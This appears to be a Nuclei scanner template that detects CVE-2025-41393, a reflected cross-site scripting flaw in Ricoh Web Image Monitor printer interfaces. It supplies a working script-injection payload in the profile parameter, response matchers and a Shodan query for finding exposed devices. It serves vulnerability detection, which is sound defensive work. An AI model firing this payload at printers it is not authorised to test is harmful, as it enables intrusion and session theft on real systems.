Ricoh Web Image Monitor - Reflected XSS

id: CVE-2025-41393

info:
  name: Ricoh Web Image Monitor - Reflected XSS
  author: jpg0mez
  severity: medium
  description: |
    A reflected cross-site scripting vulnerability exists in the laser printers and MFPs (multifunction printers) which implement Ricoh Web Image Monitor. If exploited, an arbitrary script may be executed on the web browser of the user who accessed Web Image Monitor.
  impact: |
    Attackers can execute malicious JavaScript in user browsers through the profile parameter, potentially leading to session hijacking and credential theft.
  remediation: |
    Apply the security patch from Ricoh for affected Web Image Monitor implementations.
  reference:
    - https://www.ricoh.com/products/security/vulnerabilities/vul?id=ricoh-2025-000001
    - https://jvn.jp/en/jp/JVN20474768/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-41393
  classification:
    epss-score: 0.00639
    epss-percentile: 0.46561
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"Web Image Monitor"
  tags: cve,cve2025,ricoh,xss,web,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?profile=</script><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'websys/webArch/mainFrame.cgi'
          - 'Web Image Monitor'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008462ec3d3ef1b86d953ccfc6ad630795582dd8b82ec5aaf73cd64c991f03b8de022072229648de04195c55a487a22d8a6022d6de512d473f5b27475bc99acfb0f856:922c64590222798bb761d5b6d8e72950